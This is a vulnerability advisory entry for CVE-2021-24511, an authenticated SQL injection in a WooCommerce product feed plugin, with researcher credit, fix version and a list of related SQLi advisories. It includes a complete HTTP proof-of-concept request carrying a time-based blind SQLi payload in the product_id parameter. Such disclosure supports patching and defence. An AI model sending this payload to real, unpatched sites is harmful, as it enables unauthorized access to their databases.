Create WooCommerce Product Feeds For 40+ Merchants < 3.3.1.0 – Authenticated SQL Injection | CVE 2021-24511 | Plugin Vulnerabilities

Description

The fetch_product_ajax functionality in the plugin uses a `product_id` POST parameter which is not properly sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 162
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close

keyword=eewr&searchfilters=sku&security=c3b54163aa&action=cpf_cart_product&feedpath=core%2Fajax%2Fwp%2Ffetch_product_ajax.php&q=savep&local_cat_ids=1&product_id=1%20AND%20(SELECT%207403%20FROM%20(SELECT(SLEEP(5)))gJUc)

Affects Plugins

purple-xmls-google-product-feed-for-woocommerce

Fixed in 3.3.1.0

References

CVE

URL

https://codevigilant.com/disclosure/2021/wp-plugin-purple-xmls-google-product-feed-for-woocommerce/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Syed Sheeraz Ali of Codevigilant

Verified

Yes

WPVDB ID

0fa114a0-29df-4312-9138-eb9f0aedb3c5

Timeline

Publicly Published

2021-08-22 (about 4 years ago)

Added

2021-08-23 (about 4 years ago)

Last Updated

2022-04-09 (about 3 years ago)

Other

Published

Title

Published

2025-01-29

Title

VR-Frases (collect & share quotes) < 4.0 - Authenticated (Admin+) SQL Injection

Published

2024-03-28

Title

WP ERP < 1.30.0 - Authenticated (Accounting Manager+) SQL Injection via id

Published

2023-01-18

Title

MainWP Broken Links Checker Extension <= 4.0 - Unauthenticated SQLi

Published

2024-11-25

Title

Security & Malware scan by CleanTalk < 2.145.1 - Authorization Bypass via Reverse DNS Spoofing to Unauthenticated SQL Injection

Published

2022-05-09

Title

amtyThumb <= 4.2.0 - Subscriber+ SQLi